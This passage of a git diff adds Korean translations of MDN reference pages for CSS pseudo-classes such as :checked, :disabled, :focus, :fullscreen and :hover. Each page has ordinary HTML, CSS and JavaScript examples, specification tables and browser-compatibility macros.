{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}{{Spec2('CSS3 Selectors')}}No change.
{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}{{Spec2('CSS2.1')}}No change.
{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.active")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_checked/index.html b/files/ko/web/css/_colon_checked/index.html new file mode 100644 index 0000000000..337f93d1cd --- /dev/null +++ b/files/ko/web/css/_colon_checked/index.html @@ -0,0 +1,193 @@ +--- +title: ':checked' +slug: 'Web/CSS/:checked' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:checked' +--- +
{{CSSRef}}
+ +

:checked CSS 의사 클래스 선택자는 선택했거나 on 상태인 라디오(<input type="radio">), 체크박스(<input type="checkbox">), 옵션({{HTMLElement("option")}} 요소를 나타냅니다.

+ +
/* Matches any checked/selected radio, checkbox, or option */
+:checked {
+  margin-left: 25px;
+  border: 1px solid blue;
+}
+
+ +

사용자가 요소를 체크했거나 선택한 경우 활성화되고, 체크나 선택을 해제하는 경우 비활성화됩니다.

+ +
+

참고: 많은 경우 브라우저는 <option> 요소를 대체 요소로 취급하므로, :checked 의사 클래스를 사용한 스타일을 적용할 수 있는 범위도 브라우저마다 다릅니다.

+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본 예제

+ +

HTML

+ +
<div>
+  <input type="radio" name="my-input" id="yes">
+  <label for="yes">Yes</label>
+
+  <input type="radio" name="my-input" id="no">
+  <label for="no">No</label>
+</div>
+
+<div>
+  <input type="checkbox" name="my-checkbox" id="opt-in">
+  <label for="opt-in">Check me!</label>
+</div>
+
+<select name="my-select" id="fruit">
+  <option value="opt1">Apples</option>
+  <option value="opt2">Grapes</option>
+  <option value="opt3">Pears</option>
+</select>
+
+ +

CSS

+ +
div,
+select {
+  margin: 8px;
+}
+
+/* Labels for checked inputs */
+input:checked + label {
+  color: red;
+}
+
+/* Radio element, when checked */
+input[type="radio"]:checked {
+  box-shadow: 0 0 0 3px orange;
+}
+
+/* Checkbox element, when checked */
+input[type="checkbox"]:checked {
+  box-shadow: 0 0 0 3px hotpink;
+}
+
+/* Option elements, when selected */
+option:checked {
+  box-shadow: 0 0 0 3px lime;
+  color: red;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("기본_예제")}}

+ +

숨겨진 체크박스를 사용해 요소 켜고 끄기

+ +

다음 예제 코드는 :checked 의사 클래스와 체크박스를 사용해, JavaScript 없이도 사용자가 켜거나 끌 수 있는 콘텐츠를 구현합니다.

+ +

HTML

+ +
<input type="checkbox" id="expand-toggle" />
+
+<table>
+  <thead>
+    <tr><th>Column #1</th><th>Column #2</th><th>Column #3</th></tr>
+  </thead>
+  <tbody>
+    <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr>
+    <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>
+    <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>
+    <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr>
+    <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr>
+  </tbody>
+</table>
+
+<label for="expand-toggle" id="expand-btn">Toggle hidden rows</label>
+
+ +

CSS

+ +
/* Hide the toggle checkbox */
+#expand-toggle {
+  display: none;
+}
+
+/* Hide expandable content by default */
+.expandable {
+  visibility: collapse;
+  background: #ddd;
+}
+
+/* Style the button */
+#expand-btn {
+  display: inline-block;
+  margin-top: 12px;
+  padding: 5px 11px;
+  background-color: #ff7;
+  border: 1px solid;
+  border-radius: 3px;
+}
+
+/* Show hidden content when the checkbox is checked */
+#expand-toggle:checked ~ * .expandable {
+  visibility: visible;
+}
+
+/* Style the button when the checkbox is checked */
+#expand-toggle:checked ~ #expand-btn {
+  background-color: #ccc;
+}
+ +

결과

+ +

{{EmbedLiveSample("숨겨진_체크박스를_사용해_요소_켜고_끄기", "auto", 220)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', '#selector-checked', ':checked') }}{{ Spec2('HTML WHATWG') }}No change.
{{ SpecName('HTML5 W3C', '#selector-checked', ':checked') }}{{ Spec2('HTML5 W3C') }}Defines the semantic regarding HTML.
{{ SpecName('CSS4 Selectors', '#checked', ':checked') }}{{ Spec2('CSS4 Selectors') }}No change.
{{ SpecName('CSS3 Selectors', '#checked', ':checked') }}{{ Spec2('CSS3 Selectors') }}Defines the pseudo-class, but not the associated semantic
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.checked")}}

+
diff --git a/files/ko/web/css/_colon_default/index.html b/files/ko/web/css/_colon_default/index.html new file mode 100644 index 0000000000..06e0558495 --- /dev/null +++ b/files/ko/web/css/_colon_default/index.html @@ -0,0 +1,101 @@ +--- +title: ':default' +slug: 'Web/CSS/:default' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:default' +--- +
{{CSSRef}}
+ +

CSS :default 의사 클래스는 연관 요소 내에서의 기본값인 요소를 선택합니다.

+ +

이 선택자는 HTML Standard §4.16.3 Pseudo-classes에 정의되어 있듯 {{htmlelement("button")}}, <input type="checkbox">, <input type="radio">, {{htmlelement("option")}} 요소를 아래와 같은 경우에 선택합니다.

+ + + +

구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

HTML

+ +
<fieldset>
+  <legend>Favorite season</legend>
+
+  <input type="radio" name="season" id="spring">
+  <label for="spring">Spring</label>
+
+  <input type="radio" name="season" id="summer" checked>
+  <label for="summer">Summer</label>
+
+  <input type="radio" name="season" id="fall">
+  <label for="fall">Fall</label>
+
+  <input type="radio" name="season" id="winter">
+  <label for="winter">Winter</label>
+</fieldset>
+
+ +

CSS

+ +
input:default {
+  box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+  color: coral;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#selector-default', ':default')}}{{Spec2('HTML WHATWG')}}No change.
{{SpecName('HTML5 W3C', '#selector-default', ':default')}}{{Spec2('HTML5 W3C')}}Defines associated HTML semantics and constraint validation.
{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}{{Spec2('CSS4 Selectors')}}No change.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.default")}}

+
diff --git a/files/ko/web/css/_colon_defined/index.html b/files/ko/web/css/_colon_defined/index.html new file mode 100644 index 0000000000..89487adbb9 --- /dev/null +++ b/files/ko/web/css/_colon_defined/index.html @@ -0,0 +1,118 @@ +--- +title: ':defined' +slug: 'Web/CSS/:defined' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:defined' +--- +
{{CSSRef}}
+ +

CSS :defined 의사 클래스는 정의된 요소를 선택합니다. 정의된 요소란 브라우저에 내장된 표준 요소와, 성공적으로 정의({{domxref("CustomElementRegistry.define()")}} 메서드 등)한 사용자 지정 요소를 의미합니다.

+ +
/* Selects any defined element */
+:defined {
+  font-style: italic;
+}
+
+/* Selects any instance of a specific custom element */
+simple-custom:defined {
+  display: block;
+}
+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

정의되기 전까지 요소 숨기기

+ +

다음 코드는 저희의 defined-pseudo-class 데모에서 발췌한 것입니다. (동작 모습 보기)

+ +

이 데모에서는 아주 간단한 사용자 지정 요소를 정의합니다.

+ +
customElements.define('simple-custom',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let divElem = document.createElement('div');
+      divElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(divElem);
+  }
+})
+ +

그 후, 위의 요소를 표준 <p>와 함께 문서에 넣습니다.

+ +
<simple-custom text="Custom element example text"></simple-custom>
+
+<p>Standard paragraph example text</p>
+ +

CSS에는 다음의 스타일을 작성합니다.

+ +
// Give the two elements distinctive backgrounds
+p {
+  background: yellow;
+}
+
+simple-custom {
+  background: cyan;
+}
+
+// Both the custom and the built-in element are given italic text
+:defined {
+  font-style: italic;
+}
+ +

그리고 아래의 두 규칙을 통해, 정의되지 않은 사용자 지정 요소는 숨기고, 정의가 성공적으로 된 경우에는 블록 레벨 요소로 표시합니다.

+ +
simple-custom:not(:defined) {
+  display: none;
+}
+
+simple-custom:defined {
+  display: block;
+}
+ +

위의 데모는 페이지에 불러올 때 꽤 시간이 걸릴 수 있는 복잡한 사용자 지정 요소 스타일링에 유용하게 쓸 수 있습니다. 로딩이 아직 진행 중일 때, 스타일을 입히지 않은는 못생긴 요소가 페이지에 노출되는 것을 막을 수 있으니까요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined') }}{{ Spec2('HTML WHATWG') }}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.defined")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_disabled/index.html b/files/ko/web/css/_colon_disabled/index.html new file mode 100644 index 0000000000..5a65d93de2 --- /dev/null +++ b/files/ko/web/css/_colon_disabled/index.html @@ -0,0 +1,129 @@ +--- +title: ':disabled' +slug: 'Web/CSS/:disabled' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:disabled' +--- +
{{CSSRef}}
+ +

CSS :disabled 의사 클래스는 모든 비활성 요소를 나타냅니다. 비활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 없는 요소를 말합니다. 반대 상태인 활성 요소도 존재합니다.

+ +
/* 모든 비활성 <input> 선택 */
+input:disabled {
+  background: #ccc;
+}
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제는 사용자가 청구 주소 입력 칸을 켜거나 끌 수 있는 기능을 JavaScript {{event("change")}} 이벤트를 통해 구현한 기본적인 배송 양식입니다.

+ +

HTML

+ +
<form action="#">
+  <fieldset id="shipping">
+    <legend>배송지</legend>
+    <input type="text" placeholder="이름">
+    <input type="text" placeholder="주소">
+    <input type="text" placeholder="우편번호">
+  </fieldset>
+  <br>
+  <fieldset id="billing">
+    <legend>청구지</legend>
+    <label for="billing-checkbox">배송지와 동일:</label>
+    <input type="checkbox" id="billing-checkbox" checked>
+    <br>
+    <input type="text" placeholder="이름" disabled>
+    <input type="text" placeholder="주소" disabled>
+    <input type="text" placeholder="우편번호" disabled>
+  </fieldset>
+</form>
+
+ +

CSS

+ +
input[type="text"]:disabled {
+  background: #ccc;
+}
+
+ +

JavaScript

+ +
// 페이지 로딩이 끝날 때까지 기다림
+document.addEventListener('DOMContentLoaded', function () {
+  // `change` 이벤츠 수신기를 체크박스에 부착
+  document.getElementById('billing-checkbox').onchange = toggleBilling;
+}, false);
+
+function toggleBilling() {
+  // 청구지 텍스트 입력 칸을 모두 선택
+  var billingItems = document.querySelectorAll('#billing input[type="text"]');
+
+  // 하나씩 토글
+  for (var i = 0; i < billingItems.length; i++) {
+    billingItems[i].disabled = !billingItems[i].disabled;
+  }
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 250)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}{{Spec2('HTML WHATWG')}}No change.
{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}{{Spec2('HTML5 W3C')}}Defines the semantics of HTML and forms.
{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}{{Spec2('CSS4 Selectors')}}No change.
{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}{{Spec2('CSS3 Selectors')}}Defines the pseudo-class, but not the associated semantics.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.disabled")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_enabled/index.html b/files/ko/web/css/_colon_enabled/index.html new file mode 100644 index 0000000000..edd9c70c2f --- /dev/null +++ b/files/ko/web/css/_colon_enabled/index.html @@ -0,0 +1,100 @@ +--- +title: ':enabled' +slug: 'Web/CSS/:enabled' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:enabled' +--- +
{{CSSRef}}
+ +

CSS :enabled 의사 클래스는 모든 활성 요소를 나타냅니다. 활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 있는 요소를 말합니다. 반대 상태인 비활성 요소도 존재합니다.

+ +
/* 모든 활성 <input> 선택 */
+input:enabled {
+  color: blue;
+}
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제는 모든 활성 텍스트 및 버튼 {{htmlElement("input")}}의 글자 색을 초록색으로 만들고, 비활성 상태는 회색으로 만듭니다. 이런 구분을 통해 사용자는 상호작용 가능한 요소를 쉽게 구별할 수 있습니다.

+ +

HTML

+ +
<form action="url_of_form">
+  <label for="FirstField">First field (enabled):</label>
+  <input type="text" id="FirstField" value="Lorem"><br>
+
+  <label for="SecondField">Second field (disabled):</label>
+  <input type="text" id="SecondField" value="Ipsum" disabled="disabled"><br>
+
+  <input type="button" value="Submit">
+</form>
+ +

CSS

+ +
input:enabled {
+  color: #2b2;
+}
+
+input:disabled {
+  color: #aaa;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 550, 95)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}{{Spec2('HTML WHATWG')}}No change.
{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}{{Spec2('HTML5 W3C')}}Defines the semantics for HTML and forms.
{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}{{Spec2('CSS4 Selectors')}}No change.
{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}{{Spec2('CSS3 Selectors')}}Defines the pseudo-class, but not the associated semantics.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.enabled")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_first-child/index.html b/files/ko/web/css/_colon_first-child/index.html new file mode 100644 index 0000000000..9d229f4dd5 --- /dev/null +++ b/files/ko/web/css/_colon_first-child/index.html @@ -0,0 +1,134 @@ +--- +title: ':first-child' +slug: 'Web/CSS/:first-child' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:first-child' +--- +
{{CSSRef}}
+ +

CSS :first-child 의사 클래스는 형제 요소 중 제일 첫 요소를 나타냅니다.

+ +
/* Selects any <p> that is the first element
+   among its siblings */
+p:first-child {
+  color: lime;
+}
+ +
+

참고: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.

+
+ +

구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

기본 예제

+ +

HTML

+ +
<div>
+  <p>This text is selected!</p>
+  <p>This text isn't selected.</p>
+</div>
+
+<div>
+  <h2>This text isn't selected: it's not a `p`.</h2>
+  <p>This text isn't selected.</p>
+</div>
+
+ +

CSS

+ +
p:first-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('기본_예제', 500, 200)}}

+ +

목록 스타일링

+ +

HTML

+ +
<ul>
+  <li>Item 1</li>
+  <li>Item 2</li>
+  <li>Item 3
+    <ul>
+      <li>Item 3.1</li>
+      <li>Item 3.2</li>
+      <li>Item 3.3</li>
+    </ul>
+  </li>
+</ul>
+ +

CSS

+ +
ul li {
+  color: blue;
+}
+
+ul li:first-child {
+  color: red;
+  font-weight: bold;
+}
+ +

결과

+ +

{{EmbedLiveSample('목록_스타일링')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}{{Spec2('CSS4 Selectors')}}Matching elements are not required to have a parent.
{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}{{Spec2('CSS3 Selectors')}}No change.
{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.first-child")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_first-of-type/index.html b/files/ko/web/css/_colon_first-of-type/index.html new file mode 100644 index 0000000000..d1ac0c65fc --- /dev/null +++ b/files/ko/web/css/_colon_first-of-type/index.html @@ -0,0 +1,115 @@ +--- +title: ':first-of-type' +slug: 'Web/CSS/:first-of-type' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:first-of-type' +--- +
{{CSSRef}}
+ +

CSS :first-of-type 의사 클래스는 형제 요소 중 자신의 유형과 일치하는 제일 첫 요소를 나타냅니다.

+ +
/* Selects any <p> that is the first element
+   of its type among its siblings */
+p:first-of-type {
+  color: red;
+}
+ +
+

참고: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.

+
+ +

구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

첫 문단 스타일링

+ +

HTML

+ +
<h2>Heading</h2>
+<p>Paragraph 1</p>
+<p>Paragraph 2</p>
+ +

CSS

+ +
p:first-of-type {
+  color: red;
+  font-style: italic;
+}
+ +

결과

+ +

{{EmbedLiveSample('첫_문단_스타일링')}}

+ +

중첩 요소

+ +

아래 코드는 중첩 요소를 선택하는 방법을 보입니다. 기본 선택자를 지정하지 않은 경우 전체 선택자(*)가 암시된다는 점도 볼 수 있습니다.

+ +

HTML

+ +
<article>
+  <div>This `div` is first!</div>
+  <div>This <span>nested `span` is first</span>!</div>
+  <div>This <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div>
+  <div>This <span>nested `span` gets styled</span>!</div>
+  <b>This `b` qualifies!</b>
+  <div>This is the final `div`.</div>
+</article>
+
+ +

CSS

+ +
article :first-of-type {
+  background-color: pink;
+}
+ +

결과

+ +

{{EmbedLiveSample('중첩_요소', 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}{{Spec2('CSS4 Selectors')}}Matching elements are not required to have a parent.
{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}{{Spec2('CSS3 Selectors')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.first-of-type")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_first/index.html b/files/ko/web/css/_colon_first/index.html new file mode 100644 index 0000000000..2058627f4b --- /dev/null +++ b/files/ko/web/css/_colon_first/index.html @@ -0,0 +1,97 @@ +--- +title: ':first' +slug: 'Web/CSS/:first' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:first' +--- +
{{CSSRef}}
+ +

CSS :first 의사 클래스는 {{cssxref("@page")}} @-규칙과 함께 사용되며, 출력 시의 첫 페이지를 나타냅니다.

+ +
/* Selects the first page when printing */
+@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+ +
참고: :first 의사 클래스 안에서는 CSS  속성의 사용이 제한됩니다. 바깥 여백, {{cssxref("orphans")}}, {{cssxref("widows")}}와 페이지 넘김만 바꿀 수 있으며, 여백 지정 시 절대길이 단위만 사용할 수 있습니다. 다른 모든 속성은 무시합니다.
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p>First Page.</p>
+<p>Second Page.</p>
+<button>출력!</button>
+
+ +

CSS

+ +
@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+
+p {
+  page-break-after: always;
+}
+
+ +

JavaScript

+ +
document.querySelector("button").addEventListener('click', () => {
+  window.print();
+});
+
+ +

결과

+ +

"출력!" 버튼을 눌러 페이지 출력 화면을 확인해보세요. 첫 번째 페이지의 콘텐츠는 중앙 어딘가에 위치하고, 두 번째 페이지의 콘텐츠는 기본 위치에 존재해야 합니다.

+ +

{{ EmbedLiveSample('예제', '80%', '150px') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}{{Spec2('CSS3 Paged Media')}}No change
{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}{{Spec2('CSS2.1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.first")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_focus-within/index.html b/files/ko/web/css/_colon_focus-within/index.html new file mode 100644 index 0000000000..7a25dc5b94 --- /dev/null +++ b/files/ko/web/css/_colon_focus-within/index.html @@ -0,0 +1,96 @@ +--- +title: ':focus-within' +slug: 'Web/CSS/:focus-within' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:focus-within' +--- +
{{CSSRef}}
+ +

CSS :focus-within 의사 클래스는 포커스를 받았거나, 포커스를 받은 요소를 포함하는 요소를 나타냅니다. 즉 스스로 {{CSSxRef(":focus")}} 의사 클래스와 일치하거나, 그 자손 중 하나가 :focus와 일치하는 요소를 나타냅니다. (섀도 트리 내부도 포함)

+ +
/* Selects a <div> when one of its descendants is focused */
+div:focus-within {
+  background: cyan;
+}
+ +

흔히 쓸 수 있는 예시로서, {{HTMLElement("form")}}의 {{HTMLElement("input")}} 필드 중 하나가 포커스된 경우 전체 <form>을 강조해야 할 때 유용하게 사용할 수 있습니다.

+ +

구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

다음 예제에서는 두 텍스트 입력 칸 중 하나라도 포커스를 받은 경우 양식을 강조합니다.

+ +

HTML

+ +
<p>아래 양식의 값을 채워주세요.</p>
+
+<form>
+  <label for="given_name">이름:</label>
+  <input id="given_name" type="text">
+  <br>
+  <label for="family_name">성:</label>
+  <input id="family_name" type="text">
+</form>
+ +

CSS

+ +
form {
+  border: 1px solid;
+  color: gray;
+  padding: 4px;
+}
+
+form:focus-within {
+  background: #ff8;
+  color: black;
+}
+
+input {
+  margin: 4px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 500, 150)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.focus-within")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_focus/index.html b/files/ko/web/css/_colon_focus/index.html new file mode 100644 index 0000000000..3a3e853e44 --- /dev/null +++ b/files/ko/web/css/_colon_focus/index.html @@ -0,0 +1,116 @@ +--- +title: ':focus' +slug: 'Web/CSS/:focus' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:focus' +--- +
{{CSSRef}}
+ +

CSS :focus 의사 클래스는 양식의 입력 칸 등 포커스를 받은 요소를 나타냅니다. 보통 사용자가 요소를 클릭 또는 탭하거나, 키보드 Tab 키로 선택했을 때 발동합니다.

+ +
/* Selects any <input> when focused */
+input:focus {
+  color: red;
+}
+ +
+

참고: :focus는 포커스를 받은 요소 자체에만 해당합니다. 자손이 포커스를 받았을 때의 요소를 선택해야 하면 {{CSSxRef(":focus-within")}}을 사용하세요.

+
+ +

구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

HTML

+ +
<input class="red-input" value="저는 포커스를 받으면 빨갛게 됩니다."><br>
+<input class="blue-input" value="저는 포커스를 받으면 파랗게 됩니다.">
+ +

CSS

+ +
.red-input:focus {
+  background: yellow;
+  color: red;
+}
+
+.blue-input:focus {
+  background: yellow;
+  color: blue;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

접근성 고려사항

+ +

낮은 시력을 가진 사용자도 시각적 포커스 지시자를 볼 수 있어야 합니다. 이는 또한 맑은 날의 외부처럼 밝은 공간에서의 스크린 사용자처럼 다른 사람에게도 도움이 될 수 있습니다. WCAG 2.1 SC 1.4.11 Non-Text Contrast는 시각적 포커스 지시자의 대비를 최소한 3:1로 요구하고 있습니다.

+ + + +

:focus { outline: none; }

+ +

절대 포커스의 기본 외곽선(시각적 포커스 지시자)을 대체 외곽선 없이 제거하지 마세요. 대체 외곽선은 WCAG 2.1 SC 1.4.11 Non-Text Contrast 기준을 통과해야 합니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "scripting.html#selector-focus", ":focus")}}{{Spec2("HTML WHATWG")}}Defines HTML-specific semantics.
{{SpecName("CSS4 Selectors", "#focus-pseudo", ":focus")}}{{Spec2("CSS4 Selectors")}}No change.
{{SpecName("CSS3 Selectors", "#the-user-action-pseudo-classes-hover-act", ":focus")}}{{Spec2("CSS3 Selectors")}}No change.
{{SpecName("CSS2.1", "selector.html#dynamic-pseudo-classes", ":focus")}}{{Spec2("CSS2.1")}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.focus")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_fullscreen/index.html b/files/ko/web/css/_colon_fullscreen/index.html new file mode 100644 index 0000000000..70e0c0308c --- /dev/null +++ b/files/ko/web/css/_colon_fullscreen/index.html @@ -0,0 +1,94 @@ +--- +title: ':fullscreen' +slug: 'Web/CSS/:fullscreen' +tags: + - CSS + - Fullscreen API + - Pseudo-class + - Reference + - Selector + - 전체화면 +translation_of: 'Web/CSS/:fullscreen' +--- +
{{CSSRef}}
+ +

CSS :fullscreen 의사 클래스는 전체 화면 모드에 진입한 모든 요소와 일치합니다. 다수의 요소가 전체 화면 중이라면 그 요소 모두 선택합니다.

+ +

구문

+ +
{{csssyntax}}
+ +

사용 참고

+ +

:fullscreen 의사 클래스는 요소가 전체 화면과 일반적인 모습을 넘나들 때마다 크기, 스타일, 레이아웃 등을 조정하도록 스타일시트를 설정할 수 있습니다.

+ +

예제

+ +

이번 예제에서는 문서의 전체 화면 여부에 따라 버튼의 색을 변경합니다. 스타일 변경은 JavaScript 없이 CSS에서만 처리합니다.

+ +

HTML

+ +

페이지의 HTML 구조는 다음과 같습니다.

+ +
<h1>MDN Web Docs Demo: :fullscreen pseudo-class</h1>
+
+<p>This demo uses the <code>:fullscreen</code> pseudo-class to automatically
+  change the style of a button used to toggle full-screen mode on and off,
+  entirely using CSS.</p>
+
+<button id="fs-toggle">Toggle Fullscreen</button>
+ +

ID가 "fs-toggle"인 {{htmlelement("button")}}은 문서가 전체 화면이면 흐릿한 빨강, 그렇지 않으면 흐릿한 초록으로 색이 바뀝니다.

+ +

CSS

+ +

스타일 마법은 CSS에서 일어납니다. 두 가지 규칙을 사용할 것으로, 첫 번째는 전체 화면이 아닐 때 전체 화면 버튼의 배경색을 설정합니다. 중요한 것은 :not(:fullscreen)으로, :fullscreen 의사 클래스와 일치하지 않는 요소를 선택합니다.

+ +
#fs-toggle:not(:fullscreen) {
+  background-color: #afa;
+}
+
+ +

문서가 전체 화면에 들어간 경우, 대신 아래의 CSS를 적용하여 버튼 배경을 흐릿한 빨강으로 바꿉니다.

+ +
#fs-toggle:fullscreen {
+  background-color: #faa;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}{{Spec2('Fullscreen')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.fullscreen")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_hover/index.html b/files/ko/web/css/_colon_hover/index.html new file mode 100644 index 0000000000..27a26aefe2 --- /dev/null +++ b/files/ko/web/css/_colon_hover/index.html @@ -0,0 +1,97 @@ +--- +title: ':hover' +slug: 'Web/CSS/:hover' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:hover' +--- +
{{ CSSRef }}
+ +

:hover CSS 의사 클래스는 사용자가 포인팅 장치를 사용해 상호작용 중인 요소를 선택합니다. 보통 사용자의 커서(마우스 포인터)가 요소 위에 올라가 있으면 선택됩니다.

+ +
/* "호버링" 중인 <a> 요소 선택 */
+a:hover {
+  color: orange;
+}
+ +

:hover 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :hover 규칙을 :link:visited 뒤, :active 앞에 배치하세요.

+ +
참고: :hover 의사 클래스는 터치스크린에서 문제가 많습니다. 브라우저에 따라서 :hover를 절대 활성화하지 않을 수도 있지만, 요소를 터치한 직후에만, 아니면 터치한 이후 다른 요소를 다시 터치하기 전까지 계속 활성화할 수도 있습니다. 웹 개발자는 호버링이 제한적이거나 아예 불가능한 장치에서도 콘텐츠에 접근할 수 있도록 개발해야 합니다.
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<a href="#">이 링크를 가리켜보세요.</a>
+ +

CSS

+ +
a {
+  background-color: powderblue;
